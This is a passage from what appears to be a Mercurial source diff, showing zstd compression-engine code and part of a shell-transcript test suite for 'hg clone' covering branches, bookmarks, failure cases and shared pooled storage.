3597 3596 return '\x28'
3598 3597
3599 3598 def compressstream(self, it, opts=None):
3600 3599 opts = opts or {}
3601 3600 # zstd level 3 is almost always significantly faster than zlib
3602 3601 # while providing no worse compression. It strikes a good balance
3603 3602 # between speed and compression.
3604 3603 level = opts.get('level', 3)
3605 3604
3606 3605 zstd = self._module
3607 3606 z = zstd.ZstdCompressor(level=level).compressobj()
3608 3607 for chunk in it:
3609 3608 data = z.compress(chunk)
3610 3609 if data:
3611 3610 yield data
3612 3611
3613 3612 yield z.flush()
3614 3613
3615 3614 def decompressorreader(self, fh):
3616 3615 zstd = self._module
3617 3616 dctx = zstd.ZstdDecompressor()
3618 3617 return chunkbuffer(dctx.read_from(fh))
3619 3618
3620 3619 class zstdrevlogcompressor(object):
3621 3620 def __init__(self, zstd, level=3):
3622 3621 # Writing the content size adds a few bytes to the output. However,
3623 3622 # it allows decompression to be more optimal since we can
3624 3623 # pre-allocate a buffer to hold the result.
3625 3624 self._cctx = zstd.ZstdCompressor(level=level,
3626 3625 write_content_size=True)
3627 3626 self._dctx = zstd.ZstdDecompressor()
3628 3627 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3629 3628 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3630 3629
3631 3630 def compress(self, data):
3632 3631 insize = len(data)
3633 3632 # Caller handles empty input case.
3634 3633 assert insize > 0
3635 3634
3636 3635 if insize < 50:
3637 3636 return None
3638 3637
3639 3638 elif insize <= 1000000:
3640 3639 compressed = self._cctx.compress(data)
3641 3640 if len(compressed) < insize:
3642 3641 return compressed
3643 3642 return None
3644 3643 else:
3645 3644 z = self._cctx.compressobj()
3646 3645 chunks = []
3647 3646 pos = 0
3648 3647 while pos < insize:
3649 3648 pos2 = pos + self._compinsize
3650 3649 chunk = z.compress(data[pos:pos2])
3651 3650 if chunk:
3652 3651 chunks.append(chunk)
3653 3652 pos = pos2
3654 3653 chunks.append(z.flush())
3655 3654
3656 3655 if sum(map(len, chunks)) < insize:
3657 3656 return ''.join(chunks)
3658 3657 return None
3659 3658
3660 3659 def decompress(self, data):
3661 3660 insize = len(data)
3662 3661
3663 3662 try:
3664 3663 # This was measured to be faster than other streaming
3665 3664 # decompressors.
3666 3665 dobj = self._dctx.decompressobj()
3667 3666 chunks = []
3668 3667 pos = 0
3669 3668 while pos < insize:
3670 3669 pos2 = pos + self._decompinsize
3671 3670 chunk = dobj.decompress(data[pos:pos2])
3672 3671 if chunk:
3673 3672 chunks.append(chunk)
3674 3673 pos = pos2
3675 3674 # Frame should be exhausted, so no finish() API.
3676 3675
3677 3676 return ''.join(chunks)
3678 3677 except Exception as e:
3679 3678 raise error.RevlogError(_('revlog decompress error: %s') %
3680 3679 str(e))
3681 3680
3682 3681 def revlogcompressor(self, opts=None):
3683 3682 opts = opts or {}
3684 3683 return self.zstdrevlogcompressor(self._module,
3685 3684 level=opts.get('level', 3))
3686 3685
3687 3686 compengines.register(_zstdengine())
3688 3687
3689 3688 def bundlecompressiontopics():
3690 3689 """Obtains a list of available bundle compressions for use in help."""
3691 3690 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3692 3691 items = {}
3693 3692
3694 3693 # We need to format the docstring. So use a dummy object/type to hold it
3695 3694 # rather than mutating the original.
3696 3695 class docobject(object):
3697 3696 pass
3698 3697
3699 3698 for name in compengines:
3700 3699 engine = compengines[name]
3701 3700
3702 3701 if not engine.available():
3703 3702 continue
3704 3703
3705 3704 bt = engine.bundletype()
3706 3705 if not bt or not bt[0]:
3707 3706 continue
3708 3707
3709 3708 doc = pycompat.sysstr('``%s``\n %s') % (
3710 3709 bt[0], engine.bundletype.__doc__)
3711 3710
3712 3711 value = docobject()
3713 3712 value.__doc__ = doc
3714 3713
3715 3714 items[bt[0]] = value
3716 3715
3717 3716 return items
3718 3717
3719 3718 # convenient shortcut
3720 3719 dst = debugstacktrace
@@ -1,1162 +1,1162
1 1 Prepare repo a:
2 2
3 3 $ hg init a
4 4 $ cd a
5 5 $ echo a > a
6 6 $ hg add a
7 7 $ hg commit -m test
8 8 $ echo first line > b
9 9 $ hg add b
10 10
11 11 Create a non-inlined filelog:
12 12
13 13 $ $PYTHON -c 'file("data1", "wb").write("".join("%s\n" % x for x in range(10000)))'
14 14 $ for j in 0 1 2 3 4 5 6 7 8 9; do
15 15 > cat data1 >> b
16 16 > hg commit -m test
17 17 > done
18 18
19 19 List files in store/data (should show a 'b.d'):
20 20
21 21 $ for i in .hg/store/data/*; do
22 22 > echo $i
23 23 > done
24 24 .hg/store/data/a.i
25 25 .hg/store/data/b.d
26 26 .hg/store/data/b.i
27 27
28 28 Trigger branchcache creation:
29 29
30 30 $ hg branches
31 31 default 10:a7949464abda
32 32 $ ls .hg/cache
33 33 branch2-served
34 34 checkisexec (execbit !)
35 35 checklink (symlink !)
36 36 checklink-target (symlink !)
37 37 checknoexec (execbit !)
38 38 rbc-names-v1
39 39 rbc-revs-v1
40 40
41 41 Default operation:
42 42
43 43 $ hg clone . ../b
44 44 updating to branch default
45 45 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
46 46 $ cd ../b
47 47
48 48 Ensure branchcache got copied over:
49 49
50 50 $ ls .hg/cache
51 51 branch2-served
52 52 checkisexec (execbit !)
53 53 checklink (symlink !)
54 54 checklink-target (symlink !)
55 55 rbc-names-v1
56 56 rbc-revs-v1
57 57
58 58 $ cat a
59 59 a
60 60 $ hg verify
61 61 checking changesets
62 62 checking manifests
63 63 crosschecking files in changesets and manifests
64 64 checking files
65 65 2 files, 11 changesets, 11 total revisions
66 66
67 67 Invalid dest '' must abort:
68 68
69 69 $ hg clone . ''
70 70 abort: empty destination path is not valid
71 71 [255]
72 72
73 73 No update, with debug option:
74 74
75 75 #if hardlink
76 76 $ hg --debug clone -U . ../c --config progress.debug=true
77 77 linking: 1
78 78 linking: 2
79 79 linking: 3
80 80 linking: 4
81 81 linking: 5
82 82 linking: 6
83 83 linking: 7
84 84 linking: 8
85 85 linked 8 files
86 86 #else
87 87 $ hg --debug clone -U . ../c --config progress.debug=true
88 88 linking: 1
89 89 copying: 2
90 90 copying: 3
91 91 copying: 4
92 92 copying: 5
93 93 copying: 6
94 94 copying: 7
95 95 copying: 8
96 96 copied 8 files
97 97 #endif
98 98 $ cd ../c
99 99
100 100 Ensure branchcache got copied over:
101 101
102 102 $ ls .hg/cache
103 103 branch2-served
104 104 rbc-names-v1
105 105 rbc-revs-v1
106 106
107 107 $ cat a 2>/dev/null || echo "a not present"
108 108 a not present
109 109 $ hg verify
110 110 checking changesets
111 111 checking manifests
112 112 crosschecking files in changesets and manifests
113 113 checking files
114 114 2 files, 11 changesets, 11 total revisions
115 115
116 116 Default destination:
117 117
118 118 $ mkdir ../d
119 119 $ cd ../d
120 120 $ hg clone ../a
121 121 destination directory: a
122 122 updating to branch default
123 123 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
124 124 $ cd a
125 125 $ hg cat a
126 126 a
127 127 $ cd ../..
128 128
129 129 Check that we drop the 'file:' from the path before writing the .hgrc:
130 130
131 131 $ hg clone file:a e
132 132 updating to branch default
133 133 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
134 134 $ grep 'file:' e/.hg/hgrc
135 135 [1]
136 136
137 137 Check that path aliases are expanded:
138 138
139 139 $ hg clone -q -U --config 'paths.foobar=a#0' foobar f
140 140 $ hg -R f showconfig paths.default
141 141 $TESTTMP/a#0 (glob)
142 142
143 143 Use --pull:
144 144
145 145 $ hg clone --pull a g
146 146 requesting all changes
147 147 adding changesets
148 148 adding manifests
149 149 adding file changes
150 150 added 11 changesets with 11 changes to 2 files
151 151 updating to branch default
152 152 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
153 153 $ hg -R g verify
154 154 checking changesets
155 155 checking manifests
156 156 crosschecking files in changesets and manifests
157 157 checking files
158 158 2 files, 11 changesets, 11 total revisions
159 159
160 160 Invalid dest '' with --pull must abort (issue2528):
161 161
162 162 $ hg clone --pull a ''
163 163 abort: empty destination path is not valid
164 164 [255]
165 165
166 166 Clone to '.':
167 167
168 168 $ mkdir h
169 169 $ cd h
170 170 $ hg clone ../a .
171 171 updating to branch default
172 172 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
173 173 $ cd ..
174 174
175 175
176 176 *** Tests for option -u ***
177 177
178 178 Adding some more history to repo a:
179 179
180 180 $ cd a
181 181 $ hg tag ref1
182 182 $ echo the quick brown fox >a
183 183 $ hg ci -m "hacked default"
184 184 $ hg up ref1
185 185 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
186 186 $ hg branch stable
187 187 marked working directory as branch stable
188 188 (branches are permanent and global, did you want a bookmark?)
189 189 $ echo some text >a
190 190 $ hg ci -m "starting branch stable"
191 191 $ hg tag ref2
192 192 $ echo some more text >a
193 193 $ hg ci -m "another change for branch stable"
194 194 $ hg up ref2
195 195 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
196 196 $ hg parents
197 197 changeset: 13:e8ece76546a6
198 198 branch: stable
199 199 tag: ref2
200 200 parent: 10:a7949464abda
201 201 user: test
202 202 date: Thu Jan 01 00:00:00 1970 +0000
203 203 summary: starting branch stable
204 204
205 205
206 206 Repo a has two heads:
207 207
208 208 $ hg heads
209 209 changeset: 15:0aae7cf88f0d
210 210 branch: stable
211 211 tag: tip
212 212 user: test
213 213 date: Thu Jan 01 00:00:00 1970 +0000
214 214 summary: another change for branch stable
215 215
216 216 changeset: 12:f21241060d6a
217 217 user: test
218 218 date: Thu Jan 01 00:00:00 1970 +0000
219 219 summary: hacked default
220 220
221 221
222 222 $ cd ..
223 223
224 224
225 225 Testing --noupdate with --updaterev (must abort):
226 226
227 227 $ hg clone --noupdate --updaterev 1 a ua
228 228 abort: cannot specify both --noupdate and --updaterev
229 229 [255]
230 230
231 231
232 232 Testing clone -u:
233 233
234 234 $ hg clone -u . a ua
235 235 updating to branch stable
236 236 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
237 237
238 238 Repo ua has both heads:
239 239
240 240 $ hg -R ua heads
241 241 changeset: 15:0aae7cf88f0d
242 242 branch: stable
243 243 tag: tip
244 244 user: test
245 245 date: Thu Jan 01 00:00:00 1970 +0000
246 246 summary: another change for branch stable
247 247
248 248 changeset: 12:f21241060d6a
249 249 user: test
250 250 date: Thu Jan 01 00:00:00 1970 +0000
251 251 summary: hacked default
252 252
253 253
254 254 Same revision checked out in repo a and ua:
255 255
256 256 $ hg -R a parents --template "{node|short}\n"
257 257 e8ece76546a6
258 258 $ hg -R ua parents --template "{node|short}\n"
259 259 e8ece76546a6
260 260
261 261 $ rm -r ua
262 262
263 263
264 264 Testing clone --pull -u:
265 265
266 266 $ hg clone --pull -u . a ua
267 267 requesting all changes
268 268 adding changesets
269 269 adding manifests
270 270 adding file changes
271 271 added 16 changesets with 16 changes to 3 files (+1 heads)
272 272 updating to branch stable
273 273 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
274 274
275 275 Repo ua has both heads:
276 276
277 277 $ hg -R ua heads
278 278 changeset: 15:0aae7cf88f0d
279 279 branch: stable
280 280 tag: tip
281 281 user: test
282 282 date: Thu Jan 01 00:00:00 1970 +0000
283 283 summary: another change for branch stable
284 284
285 285 changeset: 12:f21241060d6a
286 286 user: test
287 287 date: Thu Jan 01 00:00:00 1970 +0000
288 288 summary: hacked default
289 289
290 290
291 291 Same revision checked out in repo a and ua:
292 292
293 293 $ hg -R a parents --template "{node|short}\n"
294 294 e8ece76546a6
295 295 $ hg -R ua parents --template "{node|short}\n"
296 296 e8ece76546a6
297 297
298 298 $ rm -r ua
299 299
300 300
301 301 Testing clone -u <branch>:
302 302
303 303 $ hg clone -u stable a ua
304 304 updating to branch stable
305 305 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
306 306
307 307 Repo ua has both heads:
308 308
309 309 $ hg -R ua heads
310 310 changeset: 15:0aae7cf88f0d
311 311 branch: stable
312 312 tag: tip
313 313 user: test
314 314 date: Thu Jan 01 00:00:00 1970 +0000
315 315 summary: another change for branch stable
316 316
317 317 changeset: 12:f21241060d6a
318 318 user: test
319 319 date: Thu Jan 01 00:00:00 1970 +0000
320 320 summary: hacked default
321 321
322 322
323 323 Branch 'stable' is checked out:
324 324
325 325 $ hg -R ua parents
326 326 changeset: 15:0aae7cf88f0d
327 327 branch: stable
328 328 tag: tip
329 329 user: test
330 330 date: Thu Jan 01 00:00:00 1970 +0000
331 331 summary: another change for branch stable
332 332
333 333
334 334 $ rm -r ua
335 335
336 336
337 337 Testing default checkout:
338 338
339 339 $ hg clone a ua
340 340 updating to branch default
341 341 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
342 342
343 343 Repo ua has both heads:
344 344
345 345 $ hg -R ua heads
346 346 changeset: 15:0aae7cf88f0d
347 347 branch: stable
348 348 tag: tip
349 349 user: test
350 350 date: Thu Jan 01 00:00:00 1970 +0000
351 351 summary: another change for branch stable
352 352
353 353 changeset: 12:f21241060d6a
354 354 user: test
355 355 date: Thu Jan 01 00:00:00 1970 +0000
356 356 summary: hacked default
357 357
358 358
359 359 Branch 'default' is checked out:
360 360
361 361 $ hg -R ua parents
362 362 changeset: 12:f21241060d6a
363 363 user: test
364 364 date: Thu Jan 01 00:00:00 1970 +0000
365 365 summary: hacked default
366 366
367 367 Test clone with a branch named "@" (issue3677)
368 368
369 369 $ hg -R ua branch @
370 370 marked working directory as branch @
371 371 $ hg -R ua commit -m 'created branch @'
372 372 $ hg clone ua atbranch
373 373 updating to branch default
374 374 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
375 375 $ hg -R atbranch heads
376 376 changeset: 16:798b6d97153e
377 377 branch: @
378 378 tag: tip
379 379 parent: 12:f21241060d6a
380 380 user: test
381 381 date: Thu Jan 01 00:00:00 1970 +0000
382 382 summary: created branch @
383 383
384 384 changeset: 15:0aae7cf88f0d
385 385 branch: stable
386 386 user: test
387 387 date: Thu Jan 01 00:00:00 1970 +0000
388 388 summary: another change for branch stable
389 389
390 390 changeset: 12:f21241060d6a
391 391 user: test
392 392 date: Thu Jan 01 00:00:00 1970 +0000
393 393 summary: hacked default
394 394
395 395 $ hg -R atbranch parents
396 396 changeset: 12:f21241060d6a
397 397 user: test
398 398 date: Thu Jan 01 00:00:00 1970 +0000
399 399 summary: hacked default
400 400
401 401
402 402 $ rm -r ua atbranch
403 403
404 404
405 405 Testing #<branch>:
406 406
407 407 $ hg clone -u . a#stable ua
408 408 adding changesets
409 409 adding manifests
410 410 adding file changes
411 411 added 14 changesets with 14 changes to 3 files
412 412 updating to branch stable
413 413 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
414 414
415 415 Repo ua has branch 'stable' and 'default' (was changed in fd511e9eeea6):
416 416
417 417 $ hg -R ua heads
418 418 changeset: 13:0aae7cf88f0d
419 419 branch: stable
420 420 tag: tip
421 421 user: test
422 422 date: Thu Jan 01 00:00:00 1970 +0000
423 423 summary: another change for branch stable
424 424
425 425 changeset: 10:a7949464abda
426 426 user: test
427 427 date: Thu Jan 01 00:00:00 1970 +0000
428 428 summary: test
429 429
430 430
431 431 Same revision checked out in repo a and ua:
432 432
433 433 $ hg -R a parents --template "{node|short}\n"
434 434 e8ece76546a6
435 435 $ hg -R ua parents --template "{node|short}\n"
436 436 e8ece76546a6
437 437
438 438 $ rm -r ua
439 439
440 440
441 441 Testing -u -r <branch>:
442 442
443 443 $ hg clone -u . -r stable a ua
444 444 adding changesets
445 445 adding manifests
446 446 adding file changes
447 447 added 14 changesets with 14 changes to 3 files
448 448 updating to branch stable
449 449 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
450 450
451 451 Repo ua has branch 'stable' and 'default' (was changed in fd511e9eeea6):
452 452
453 453 $ hg -R ua heads
454 454 changeset: 13:0aae7cf88f0d
455 455 branch: stable
456 456 tag: tip
457 457 user: test
458 458 date: Thu Jan 01 00:00:00 1970 +0000
459 459 summary: another change for branch stable
460 460
461 461 changeset: 10:a7949464abda
462 462 user: test
463 463 date: Thu Jan 01 00:00:00 1970 +0000
464 464 summary: test
465 465
466 466
467 467 Same revision checked out in repo a and ua:
468 468
469 469 $ hg -R a parents --template "{node|short}\n"
470 470 e8ece76546a6
471 471 $ hg -R ua parents --template "{node|short}\n"
472 472 e8ece76546a6
473 473
474 474 $ rm -r ua
475 475
476 476
477 477 Testing -r <branch>:
478 478
479 479 $ hg clone -r stable a ua
480 480 adding changesets
481 481 adding manifests
482 482 adding file changes
483 483 added 14 changesets with 14 changes to 3 files
484 484 updating to branch stable
485 485 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
486 486
487 487 Repo ua has branch 'stable' and 'default' (was changed in fd511e9eeea6):
488 488
489 489 $ hg -R ua heads
490 490 changeset: 13:0aae7cf88f0d
491 491 branch: stable
492 492 tag: tip
493 493 user: test
494 494 date: Thu Jan 01 00:00:00 1970 +0000
495 495 summary: another change for branch stable
496 496
497 497 changeset: 10:a7949464abda
498 498 user: test
499 499 date: Thu Jan 01 00:00:00 1970 +0000
500 500 summary: test
501 501
502 502
503 503 Branch 'stable' is checked out:
504 504
505 505 $ hg -R ua parents
506 506 changeset: 13:0aae7cf88f0d
507 507 branch: stable
508 508 tag: tip
509 509 user: test
510 510 date: Thu Jan 01 00:00:00 1970 +0000
511 511 summary: another change for branch stable
512 512
513 513
514 514 $ rm -r ua
515 515
516 516
517 517 Issue2267: Error in 1.6 hg.py: TypeError: 'NoneType' object is not
518 518 iterable in addbranchrevs()
519 519
520 520 $ cat <<EOF > simpleclone.py
521 521 > from mercurial import ui, hg
522 522 > myui = ui.ui.load()
523 523 > repo = hg.repository(myui, 'a')
524 524 > hg.clone(myui, {}, repo, dest="ua")
525 525 > EOF
526 526
527 527 $ $PYTHON simpleclone.py
528 528 updating to branch default
529 529 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
530 530
531 531 $ rm -r ua
532 532
533 533 $ cat <<EOF > branchclone.py
534 534 > from mercurial import ui, hg, extensions
535 535 > myui = ui.ui.load()
536 536 > extensions.loadall(myui)
537 537 > repo = hg.repository(myui, 'a')
538 538 > hg.clone(myui, {}, repo, dest="ua", branch=["stable",])
539 539 > EOF
540 540
541 541 $ $PYTHON branchclone.py
542 542 adding changesets
543 543 adding manifests
544 544 adding file changes
545 545 added 14 changesets with 14 changes to 3 files
546 546 updating to branch stable
547 547 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
548 548 $ rm -r ua
549 549
550 550
551 551 Test clone with special '@' bookmark:
552 552 $ cd a
553 553 $ hg bookmark -r a7949464abda @ # branch point of stable from default
554 554 $ hg clone . ../i
555 555 updating to bookmark @
556 556 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
557 557 $ hg id -i ../i
558 558 a7949464abda
559 559 $ rm -r ../i
560 560
561 561 $ hg bookmark -f -r stable @
562 562 $ hg bookmarks
563 563 @ 15:0aae7cf88f0d
564 564 $ hg clone . ../i
565 565 updating to bookmark @ on branch stable
566 566 3 files updated, 0 files merged, 0 files removed, 0 files unresolved
567 567 $ hg id -i ../i
568 568 0aae7cf88f0d
569 569 $ cd "$TESTTMP"
570 570
571 571
572 572 Testing failures:
573 573
574 574 $ mkdir fail
575 575 $ cd fail
576 576
577 577 No local source
578 578
579 579 $ hg clone a b
580 580 abort: repository a not found!
581 581 [255]
582 582
583 583 No remote source
584 584
585 585 #if windows
586 586 $ hg clone http://$LOCALIP:3121/a b
587 587 abort: error: * (glob)
588 588 [255]
589 589 #else
590 590 $ hg clone http://$LOCALIP:3121/a b
591 591 abort: error: *refused* (glob)
592 592 [255]
593 593 #endif
594 594 $ rm -rf b # work around bug with http clone
595 595
596 596
597 597 #if unix-permissions no-root
598 598
599 599 Inaccessible source
600 600
601 601 $ mkdir a
602 602 $ chmod 000 a
603 603 $ hg clone a b
604 604 abort: repository a not found!
605 605 [255]
606 606
607 607 Inaccessible destination
608 608
609 609 $ hg init b
610 610 $ cd b
611 611 $ hg clone . ../a
612 612 abort: Permission denied: '../a'
613 613 [255]
614 614 $ cd ..
615 615 $ chmod 700 a
616 616 $ rm -r a b
617 617
618 618 #endif
619 619
620 620
621 621 #if fifo
622 622
623 623 Source of wrong type
624 624
625 625 $ mkfifo a
626 626 $ hg clone a b
627 627 abort: repository a not found!
628 628 [255]
629 629 $ rm a
630 630
631 631 #endif
632 632
633 633 Default destination, same directory
634 634
635 635 $ hg init q
636 636 $ hg clone q
637 637 destination directory: q
638 638 abort: destination 'q' is not empty
639 639 [255]
640 640
641 641 destination directory not empty
642 642
643 643 $ mkdir a
644 644 $ echo stuff > a/a
645 645 $ hg clone q a
646 646 abort: destination 'a' is not empty
647 647 [255]
648 648
649 649
650 650 #if unix-permissions no-root
651 651
652 652 leave existing directory in place after clone failure
653 653
654 654 $ hg init c
655 655 $ cd c
656 656 $ echo c > c
657 657 $ hg commit -A -m test
658 658 adding c
659 659 $ chmod -rx .hg/store/data
660 660 $ cd ..
661 661 $ mkdir d
662 662 $ hg clone c d 2> err
663 663 [255]
664 664 $ test -d d
665 665 $ test -d d/.hg
666 666 [1]
667 667
668 668 re-enable perm to allow deletion
669 669
670 670 $ chmod +rx c/.hg/store/data
671 671
672 672 #endif
673 673
674 674 $ cd ..
675 675
676 676 Test clone from the repository in (emulated) revlog format 0 (issue4203):
677 677
678 678 $ mkdir issue4203
679 679 $ mkdir -p src/.hg
680 680 $ echo foo > src/foo
681 681 $ hg -R src add src/foo
682 682 $ hg -R src commit -m '#0'
683 683 $ hg -R src log -q
684 684 0:e1bab28bca43
685 685 $ hg clone -U -q src dst
686 686 $ hg -R dst log -q
687 687 0:e1bab28bca43
688 688
689 689 Create repositories to test auto sharing functionality
690 690
691 691 $ cat >> $HGRCPATH << EOF
692 692 > [extensions]
693 693 > share=
694 694 > EOF
695 695
696 696 $ hg init empty
697 697 $ hg init source1a
698 698 $ cd source1a
699 699 $ echo initial1 > foo
700 700 $ hg -q commit -A -m initial
701 701 $ echo second > foo
702 702 $ hg commit -m second
703 703 $ cd ..
704 704
705 705 $ hg init filteredrev0
706 706 $ cd filteredrev0
707 707 $ cat >> .hg/hgrc << EOF
708 708 > [experimental]
709 709 > evolution=createmarkers
710 710 > EOF
711 711 $ echo initial1 > foo
712 712 $ hg -q commit -A -m initial0
713 713 $ hg -q up -r null
714 714 $ echo initial2 > foo
715 715 $ hg -q commit -A -m initial1
716 716 $ hg debugobsolete c05d5c47a5cf81401869999f3d05f7d699d2b29a e082c1832e09a7d1e78b7fd49a592d372de854c8
717 717 obsoleted 1 changesets
718 718 $ cd ..
719 719
720 720 $ hg -q clone --pull source1a source1b
721 721 $ cd source1a
722 722 $ hg bookmark bookA
723 723 $ echo 1a > foo
724 724 $ hg commit -m 1a
725 725 $ cd ../source1b
726 726 $ hg -q up -r 0
727 727 $ echo head1 > foo
728 728 $ hg commit -m head1
729 729 created new head
730 730 $ hg bookmark head1
731 731 $ hg -q up -r 0
732 732 $ echo head2 > foo
733 733 $ hg commit -m head2
734 734 created new head
735 735 $ hg bookmark head2
736 736 $ hg -q up -r 0
737 737 $ hg branch branch1
738 738 marked working directory as branch branch1
739 739 (branches are permanent and global, did you want a bookmark?)
740 740 $ echo branch1 > foo
741 741 $ hg commit -m branch1
742 742 $ hg -q up -r 0
743 743 $ hg branch branch2
744 744 marked working directory as branch branch2
745 745 $ echo branch2 > foo
746 746 $ hg commit -m branch2
747 747 $ cd ..
748 748 $ hg init source2
749 749 $ cd source2
750 750 $ echo initial2 > foo
751 751 $ hg -q commit -A -m initial2
752 752 $ echo second > foo
753 753 $ hg commit -m second
754 754 $ cd ..
755 755
756 756 Clone with auto share from an empty repo should not result in share
757 757
758 758 $ mkdir share
759 759 $ hg --config share.pool=share clone empty share-empty
760 760 (not using pooled storage: remote appears to be empty)
761 761 updating to branch default
762 762 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
763 763 $ ls share
764 764 $ test -d share-empty/.hg/store
765 765 $ test -f share-empty/.hg/sharedpath
766 766 [1]
767 767
768 768 Clone with auto share from a repo with filtered revision 0 should not result in share
769 769
770 770 $ hg --config share.pool=share clone filteredrev0 share-filtered
771 771 (not using pooled storage: unable to resolve identity of remote)
772 772 requesting all changes
773 773 adding changesets
774 774 adding manifests
775 775 adding file changes
776 776 added 1 changesets with 1 changes to 1 files
777 777 updating to branch default
778 778 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
779 779
780 780 Clone from repo with content should result in shared store being created
781 781
782 782 $ hg --config share.pool=share clone source1a share-dest1a
783 783 (sharing from new pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
784 784 requesting all changes
785 785 adding changesets
786 786 adding manifests
787 787 adding file changes
788 788 added 3 changesets with 3 changes to 1 files
789 789 searching for changes
790 790 no changes found
791 791 adding remote bookmark bookA
792 792 updating working directory
793 793 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
794 794
795 795 The shared repo should have been created
796 796
797 797 $ ls share
798 798 b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1
799 799
800 800 The destination should point to it
801 801
802 802 $ cat share-dest1a/.hg/sharedpath; echo
803 803 $TESTTMP/share/b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1/.hg (glob)
804 804
805 805 The destination should have bookmarks
806 806
807 807 $ hg -R share-dest1a bookmarks
808 808 bookA 2:e5bfe23c0b47
809 809
810 810 The default path should be the remote, not the share
811 811
812 812 $ hg -R share-dest1a config paths.default
813 813 $TESTTMP/source1a (glob)
814 814
815 815 Clone with existing share dir should result in pull + share
816 816
817 817 $ hg --config share.pool=share clone source1b share-dest1b
818 818 (sharing from existing pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
819 819 searching for changes
820 820 adding changesets
821 821 adding manifests
822 822 adding file changes
823 823 added 4 changesets with 4 changes to 1 files (+4 heads)
824 824 adding remote bookmark head1
825 825 adding remote bookmark head2
826 826 updating working directory
827 827 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
828 828
829 829 $ ls share
830 830 b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1
831 831
832 832 $ cat share-dest1b/.hg/sharedpath; echo
833 833 $TESTTMP/share/b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1/.hg (glob)
834 834
835 835 We only get bookmarks from the remote, not everything in the share
836 836
837 837 $ hg -R share-dest1b bookmarks
838 838 head1 3:4a8dc1ab4c13
839 839 head2 4:99f71071f117
840 840
841 841 Default path should be source, not share.
842 842
843 843 $ hg -R share-dest1b config paths.default
844 844 $TESTTMP/source1b (glob)
845 845
846 846 Checked out revision should be head of default branch
847 847
848 848 $ hg -R share-dest1b log -r .
849 849 changeset: 4:99f71071f117
850 850 bookmark: head2
851 851 parent: 0:b5f04eac9d8f
852 852 user: test
853 853 date: Thu Jan 01 00:00:00 1970 +0000
854 854 summary: head2
855 855
856 856
857 857 Clone from unrelated repo should result in new share
858 858
859 859 $ hg --config share.pool=share clone source2 share-dest2
860 860 (sharing from new pooled repository 22aeff664783fd44c6d9b435618173c118c3448e)
861 861 requesting all changes
862 862 adding changesets
863 863 adding manifests
864 864 adding file changes
865 865 added 2 changesets with 2 changes to 1 files
866 866 searching for changes
867 867 no changes found
868 868 updating working directory
869 869 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
870 870
871 871 $ ls share
872 872 22aeff664783fd44c6d9b435618173c118c3448e
873 873 b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1
874 874
875 875 remote naming mode works as advertised
876 876
877 877 $ hg --config share.pool=shareremote --config share.poolnaming=remote clone source1a share-remote1a
878 878 (sharing from new pooled repository 195bb1fcdb595c14a6c13e0269129ed78f6debde)
879 879 requesting all changes
880 880 adding changesets
881 881 adding manifests
882 882 adding file changes
883 883 added 3 changesets with 3 changes to 1 files
884 884 searching for changes
885 885 no changes found
886 886 adding remote bookmark bookA
887 887 updating working directory
888 888 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
889 889
890 890 $ ls shareremote
891 891 195bb1fcdb595c14a6c13e0269129ed78f6debde
892 892
893 893 $ hg --config share.pool=shareremote --config share.poolnaming=remote clone source1b share-remote1b
894 894 (sharing from new pooled repository c0d4f83847ca2a873741feb7048a45085fd47c46)
895 895 requesting all changes
896 896 adding changesets
897 897 adding manifests
898 898 adding file changes
899 899 added 6 changesets with 6 changes to 1 files (+4 heads)
900 900 searching for changes
901 901 no changes found
902 902 adding remote bookmark head1
903 903 adding remote bookmark head2
904 904 updating working directory
905 905 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
906 906
907 907 $ ls shareremote
908 908 195bb1fcdb595c14a6c13e0269129ed78f6debde
909 909 c0d4f83847ca2a873741feb7048a45085fd47c46
910 910
911 911 request to clone a single revision is respected in sharing mode
912 912
913 913 $ hg --config share.pool=sharerevs clone -r 4a8dc1ab4c13 source1b share-1arev
914 914 (sharing from new pooled repository b5f04eac9d8f7a6a9fcb070243cccea7dc5ea0c1)
915 915 adding changesets
916 916 adding manifests
917 917 adding file changes
918 918 added 2 changesets with 2 changes to 1 files
919 919 no changes found
920 920 adding remote bookmark head1
921 921 updating working directory
922 922 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
923 923
924 924 $ hg -R share-1arev log -G
925 925 @ changeset: 1:4a8dc1ab4c13
926 926 | bookmark: head1
927 927 | tag: tip
928 928 | user: test
929 929 | date: Thu Jan 01 00:00:00 1970 +0000
930 930 | summary: head1
931 931 |
932 932 o changeset: 0:b5f04eac9d8f
933 933 user: test
934 934 date: Thu Jan 01 00:00:00 1970 +0000
935 935 summary: initial
936 936
937 937
938 938 making another clone should only pull down requested rev
939 939
940 940 $ hg --config share.pool=sharerevs clone -r 99f71071f117 source1b share-1brev
